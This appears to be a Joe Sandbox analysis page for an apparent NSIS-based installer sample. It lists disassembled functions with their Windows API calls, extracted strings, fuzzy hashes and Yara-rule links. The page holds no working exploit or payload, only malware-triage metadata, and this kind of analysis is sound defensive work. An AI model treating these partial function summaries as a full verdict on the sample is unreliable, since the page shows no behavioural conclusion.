Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename: %s, xrefs: 004018F8
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Rename failed: %s, xrefs: 0040194B
detailprint: %s, xrefs: 00401679
Call: %d, xrefs: 0040165A
SetFileAttributes failed., xrefs: 004017A1
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: "%s" created, xrefs: 00401849
BringToFront, xrefs: 004016BD
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602
Rename on reboot: %s, xrefs: 00401943
Sleep(%d), xrefs: 0040169D
Aborting: "%s", xrefs: 0040161D
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: "%s" (%d), xrefs: 004017BF

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.exe, xrefs: 00405A3D
@%F, xrefs: 004059F6
_Nb, xrefs: 00405AD1
RichEd20, xrefs: 00405B9D
RichEdit, xrefs: 00405BC4
B%F, xrefs: 00405A1F
RichEdit20A, xrefs: 00405BB6, 00405BBB
.DEFAULT\Control Panel\International, xrefs: 00405999
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
@rD, xrefs: 00405965
RichEd32, xrefs: 00405BA8

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,%SenateRoof%,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,%SenateRoof%,%SenateRoof%,00000000,00000000,%SenateRoof%,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0
%SenateRoof%, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: %SenateRoof%$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-3060857477
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Null, xrefs: 0040367E
Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7
soft, xrefs: 00403675
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C
P1B, xrefs: 004033A9
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(005CE5F8), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
%SenateRoof%, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: %SenateRoof%$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-1304504562
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(005CE5F8), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
